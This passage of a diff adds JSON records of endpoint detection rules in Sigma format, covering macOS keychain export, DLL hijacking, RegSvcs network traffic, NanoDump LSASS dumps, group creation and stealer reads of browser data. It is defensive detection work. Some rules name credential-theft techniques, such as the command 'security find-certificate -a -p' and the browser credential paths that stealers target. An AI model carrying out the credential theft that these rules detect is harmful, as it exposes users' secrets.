+    "attack.t1560.001",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "94773690-ba2b-43cc-b7fc-ad9eb6bee0ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294661Z",
+  "creation_date": "2026-03-23T11:45:35.294663Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294668Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.001/T1555.001.md",
+    "https://attack.mitre.org/techniques/T1555/001/"
+  ],
+  "name": "t1555_001_keychain_export_find_certificate.yml",
+  "content": "title: MacOS Keychain Exported via Find Certificate\nid: 94773690-ba2b-43cc-b7fc-ad9eb6bee0ba\ndescription: |\n    Detects the macOS Keychain being exported via security using the find-certificate command.\n    Keychain (or Keychain Services) is the macOS credential management system.\n    Attackers may export macOS Keychain to gather user credentials, certificates, payment data, or secure notes.\n    It is recommended to analyze the context around the execution of the security binary to determine if this export is legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.001/T1555.001.md\n    - https://attack.mitre.org/techniques/T1555/001/\ndate: 2022/08/29\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        # security find-certificate -a -p\n        Image: '/usr/bin/security'\n        CommandLine|contains: 'find-certificate'\n        ParentImage|contains: '?'\n\n    # Git LFS seems to use keychain.\n    exclusion_git_lfs:\n        ParentImage|endswith: '/bin/git-lfs'\n        CommandLine|contains|all:\n            - 'find-certificate'\n            - '/Library/Keychains/System.keychain'\n\n    # Visual Studio Code is expected to use keychain.\n    exclusion_vs_code:\n        ParentImage:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)'\n            - '/Applications/Visual Studio Code - Insiders.app/Contents/Frameworks/Code - Insiders Helper (Plugin).app/Contents/MacOS/Code - Insiders Helper'\n            - '/Applications/Visual Studio Code - Insiders.app/Contents/Frameworks/Code - Insiders Helper (Plugin).app/Contents/MacOS/Code - Insiders Helper (Plugin)'\n            - '/Applications/Visual Studio Code.app/Contents/MacOS/Electron'\n            - '*/Visual Studio Code.app/Contents/MacOS/Electron'\n            - '*/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)'\n            - '/Users/*/.vscode/extensions/sonarsource.sonarlint-vscode-*-*/*/*/bin/java'\n            - '/Users/*/.vscode-insiders/extensions/sonarsource.sonarlint-vscode-*-*/*/*-*/bin/java'\n            - '/Applications/Visual Studio Code - Insiders.app/Contents/MacOS/Electron'\n        CommandLine|contains: 'security find-certificate -a -p'\n\n    exclusion_glpi:\n        ParentImage: '/Applications/GLPI-Agent/bin/perl'\n\n    exclusion_docker:\n        - ParentImage: '/Applications/Docker.app/Contents/MacOS/com.docker.backend'\n          GrandparentImage:\n            - '/Applications/Docker.app/Contents/MacOS/Docker'\n            - '/sbin/launchd'\n            - '/Applications/Docker.app/Contents/MacOS/com.docker.backend'\n\n    exclusion_node:\n        ParentImage: '/Users/*/.nvm/versions/node/v*/bin/node'\n\n    exclusion_fortinet:\n        ParentImage:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/epctrl'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/ztagent'\n\n    exclusion_postman:\n        ParentImage: '/Applications/Postman.app/Contents/MacOS/Postman'\n\n    exclusion_lens:\n        ParentImage: '/Applications/Lens.app/Contents/MacOS/Lens'\n\n    exclusion_ruby:\n        ParentImage:\n            - '/opt/homebrew/Library/Homebrew/vendor/portable-ruby/*/bin/ruby'\n            - '/System/Library/Frameworks/Ruby.framework/Versions/*/usr/bin/ruby'\n\n    exclusion_azure:\n        ParentImage: '/Applications/Azure Data Studio.app/Contents/Frameworks/Azure Data Studio Helper (Plugin).app/Contents/MacOS/Azure Data Studio Helper (Plugin)'\n\n    exclusion_openvpn:\n        GrandparentImage: '/Applications/OpenVPN Connect/OpenVPN Connect.app/Contents/MacOS/OpenVPN Connect'\n\n    exclusion_rider:\n        ParentImage: '/users/*/applications/rider.app/contents/macos/rider'\n\n    exclusion_intellij:\n        ParentImage:\n            - '/Applications/IntelliJ IDEA.app/Contents/MacOS/idea'\n            - '/Users/*/Library/Application Support/JetBrains/IntelliJIdea*'\n\n    exclusion_common_folders:\n        - ProcessParentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/opt/homebrew/'\n        - ProcessGrandparentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/opt/homebrew/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "94773690-ba2b-43cc-b7fc-ad9eb6bee0ba",
+  "rule_name": "MacOS Keychain Exported via Find Certificate",
+  "rule_description": "Detects the macOS Keychain being exported via security using the find-certificate command.\nKeychain (or Keychain Services) is the macOS credential management system.\nAttackers may export macOS Keychain to gather user credentials, certificates, payment data, or secure notes.\nIt is recommended to analyze the context around the execution of the security binary to determine if this export is legitimate.\n",
+  "rule_creation_date": "2022-08-29",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9521e40e-07f4-4dfe-b9e7-6e1b287ab459",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089650Z",
+  "creation_date": "2026-03-23T11:45:34.089652Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089657Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/",
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_coccocupdate.yml",
+  "content": "title: DLL Hijacking via CocCocUpdate.exe\nid: 9521e40e-07f4-4dfe-b9e7-6e1b287ab459\ndescription: |\n    Detects potential Windows DLL Hijacking via CocCocUpdate.exe related to Coc Coc Browser Update Software.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/20\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CocCocUpdate.exe'\n        ImageLoaded|endswith: '\\coccocpdate.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\CocCoc\\'\n            - '?:\\Program Files (x86)\\CocCoc\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\CocCoc\\'\n            - '?:\\Program Files (x86)\\CocCoc\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'COC COC COMPANY LIMITED'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9521e40e-07f4-4dfe-b9e7-6e1b287ab459",
+  "rule_name": "DLL Hijacking via CocCocUpdate.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CocCocUpdate.exe related to Coc Coc Browser Update Software.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-20",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "95488005-c881-4387-9e17-b146f890aa19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085568Z",
+  "creation_date": "2026-03-23T11:45:34.085570Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085574Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cloudsek.com/blog/technical-analysis-of-the-redline-stealer",
+    "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
+    "https://attack.mitre.org/techniques/T1055/012/",
+    "https://attack.mitre.org/techniques/T1571/"
+  ],
+  "name": "t1055_012_sus_regsvcs_net_comm.yml",
+  "content": "title: Suspicious RegSvcs.exe Network Communication\nid: 95488005-c881-4387-9e17-b146f890aa19\ndescription: |\n  Detects a network communication to an external IP address from RegSvcs.exe.\n  This can be the result of the loading of a malicious .NET COM object with RegSvcs.exe as a way to bypass defenses. It is commonly used by various malware such as Redline Stealer.\n  It is recommended to investigate the parent processes of the detected process and the destination IP address to determine the legitimacy of this behavior.\n  If there is no parent process, look for any other alerts indicating the establishment of persistence or reads on sensitive files.\nreferences:\n    - https://www.cloudsek.com/blog/technical-analysis-of-the-redline-stealer\n    - https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/\n    - https://attack.mitre.org/techniques/T1055/012/\n    - https://attack.mitre.org/techniques/T1571/\ndate: 2024/09/27\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.012\n    - attack.command_and_control\n    - attack.t1571\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.LOLBin.RegSvcs\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\RegSvcs.exe'\n        - ProcessOriginalFileName: 'RegSvcs.exe'\n\n    filter_remote_ip_cidr:\n        DestinationIp|cidr:\n            - '127.0.0.0/8'     # RFC1122\n            - '192.168.0.0/16'  # RFC1918\n            - '172.16.0.0/12'   # RFC1918\n            - '10.0.0.0/8'      # RFC1918\n            - '169.254.0.0/16'  # RFC3927\n            - 'fe80::/10'\n            - '100.64.0.0/10'   # RFC6598\n\n    filter_remote_ip_pattern:\n        DestinationIp:\n            - ''          # Empty\n            - '::1'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "95488005-c881-4387-9e17-b146f890aa19",
+  "rule_name": "Suspicious RegSvcs.exe Network Communication",
+  "rule_description": "Detects a network communication to an external IP address from RegSvcs.exe.\nThis can be the result of the loading of a malicious .NET COM object with RegSvcs.exe as a way to bypass defenses. It is commonly used by various malware such as Redline Stealer.\nIt is recommended to investigate the parent processes of the detected process and the destination IP address to determine the legitimacy of this behavior.\nIf there is no parent process, look for any other alerts indicating the establishment of persistence or reads on sensitive files.\n",
+  "rule_creation_date": "2024-09-27",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9551f323-b5d9-4aaf-a46f-43581397ac81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095329Z",
+  "creation_date": "2026-03-23T11:45:34.095331Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095335Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/helpsystems/nanodump/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_file_nanodump.yml",
+  "content": "title: LSASS Memory Dumped via NanoDump\nid: 9551f323-b5d9-4aaf-a46f-43581397ac81\ndescription: |\n    Detects an attempt to dump the LSASS process memory using the NanoDump tool.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct lateral movement.\n    It is recommended to analyze the parent process for malicious content.\nreferences:\n    - https://github.com/helpsystems/nanodump/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/11/30\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.HackTool.NanoDump\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.LSASSAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith: '\\\\*_??????????_lsass.dmp'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9551f323-b5d9-4aaf-a46f-43581397ac81",
+  "rule_name": "LSASS Memory Dumped via NanoDump",
+  "rule_description": "Detects an attempt to dump the LSASS process memory using the NanoDump tool.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nAfter a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct lateral movement.\nIt is recommended to analyze the parent process for malicious content.\n",
+  "rule_creation_date": "2021-11-30",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "955e6d93-f3e3-4d66-8187-cb8496828588",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612432Z",
+  "creation_date": "2026-03-23T11:45:34.612436Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612443Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1136/001/"
+  ],
+  "name": "t1136_001_groupadd_linux.yml",
+  "content": "title: Group Created via groupadd\nid: 955e6d93-f3e3-4d66-8187-cb8496828588\ndescription: |\n    Detects a suspicious attempt to create a new group.\n    Adversaries may create new groups to hide their activity or achieve persistence.\n    It is recommended to check the created group for malicious intent and to analyze the parent process for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1136/001/\ndate: 2023/01/03\nmodified: 2025/05/09\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.AccountManipulation\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/groupadd'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|/usr/bin/apt|'\n\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n            - '/usr/bin/python -Estt /usr/local/psa/bin/yum_install ' # Plesk'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n\n    exclusion_dnf:\n        ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python? /usr/dnf'\n            - '/usr/bin/python? /usr/bin/dnf'\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python?.? /bin/dnf'\n            - '/usr/bin/python?.? /usr/bin/dnf'\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n            - '/usr/libexec/platform-python /bin/dnf'\n            - '/usr/libexec/platform-python /usr/bin/dnf'\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n\n      # This command is different on debian distros\n    exclusion_nxlog_redhat:\n        ProcessParentCommandLine|contains: ' /var/tmp/rpm-tmp'\n        ProcessCommandLine: 'groupadd -r nxlog'\n\n    exclusion_puppet:\n        ProcessParentImage|startswith: '/opt/puppetlabs/'\n\n    exclusion_containers:\n        Ancestors|contains:\n            - '/bin/dockerd|'\n            - '|/usr/bin/systemd-nspawn|'\n            - '/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/podman|'\n\n    exclusion_eset:\n        Ancestors|endswith: '|/opt/eset/RemoteAdministrator/Agent/ERAAgent|/usr/lib/systemd/systemd'\n\n    exclusion_trendmicro:\n        CommandLine: '/usr/sbin/groupadd -f tm_xes'\n        ProcessParentImage: '/usr/lib/systemd/systemd'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "955e6d93-f3e3-4d66-8187-cb8496828588",
+  "rule_name": "Group Created via groupadd",
+  "rule_description": "Detects a suspicious attempt to create a new group.\nAdversaries may create new groups to hide their activity or achieve persistence.\nIt is recommended to check the created group for malicious intent and to analyze the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1136.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9584cb1b-7b89-49ee-82d2-5cf2f2cef3fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587101Z",
+  "creation_date": "2026-03-23T11:45:34.587104Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587112Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.magnetforensics.com/blog/infostealer-malware-what-is-it-and-how-to-investigate/",
+    "https://e.cyberint.com/hubfs/Cyberint%20Info%20Stealers%20Overview.pdf",
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1005_generic_stealer_browser_data_accessed.yml",
+  "content": "title: Browser Data Read by Unusual Process\nid: 9584cb1b-7b89-49ee-82d2-5cf2f2cef3fd\ndescription: |\n    Detects an attempt to read browser data files from an unusual process.\n    This may be an indicator of a stealer opening the User Data folder of a given browser to exfiltrate credentials or other artifacts.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\n    If you assume this to be a breach, it is recommended to perform an investigation to determine the specific malware used, what information has been exfiltrated and change the credentials of the affected users.\n    Further information about different stealers is present in the references.\nreferences:\n    - https://www.magnetforensics.com/blog/infostealer-malware-what-is-it-and-how-to-investigate/\n    - https://e.cyberint.com/hubfs/Cyberint%20Info%20Stealers%20Overview.pdf\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2023/05/04\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - attack.t1185\n    - attack.discovery\n    - attack.t1217\n    - attack.privilege_escalation\n    - attack.t1555.003\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Stealer.Generic\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: filesystem_read\ndetection:\n    selection_chromium:\n        ProcessImage|contains: '?'\n        Path|contains:\n            - '\\AppData\\Local\\Yandex\\YandexBrowser\\User Data'\n            - '\\AppData\\Local\\Iridium\\User Data'\n            - '\\AppData\\Local\\Chromium\\User Data'\n            - '\\AppData\\Local\\7Star\\7Star\\User Data'\n            - '\\AppData\\Local\\Torch\\User Data'\n            - '\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data'\n            - '\\AppData\\Local\\Kometa\\User Data'\n            - '\\AppData\\Local\\Amigo\\User Data'\n            - '\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data'\n            - '\\AppData\\Local\\CentBrowser\\User Data'\n            - '\\AppData\\Local\\Chedot\\User Data'\n            - '\\AppData\\Local\\Orbitum\\User Data'\n            - '\\AppData\\Local\\Sputnik\\Sputnik\\User Data'\n            - '\\AppData\\Local\\Comodo\\Dragon\\User Data'\n            - '\\AppData\\Local\\360Chrome\\Chrome\\User Data'\n            - '\\AppData\\Local\\uCozMedia\\Uran\\User Data'\n            - '\\AppData\\Local\\liebao\\User Data'\n            - '\\AppData\\Local\\Elements Browser\\User Data'\n            - '\\AppData\\Local\\Epic Privacy Browser\\User Data'\n            - '\\AppData\\Local\\CocCoc\\Browser\\User Data'\n            - '\\AppData\\Local\\QIP Surf\\User Data'\n            - '\\AppData\\Local\\Coowon\\Coowon\\User Data'\n            - '\\AppData\\Local\\Google\\Chrome\\User Data'\n            - 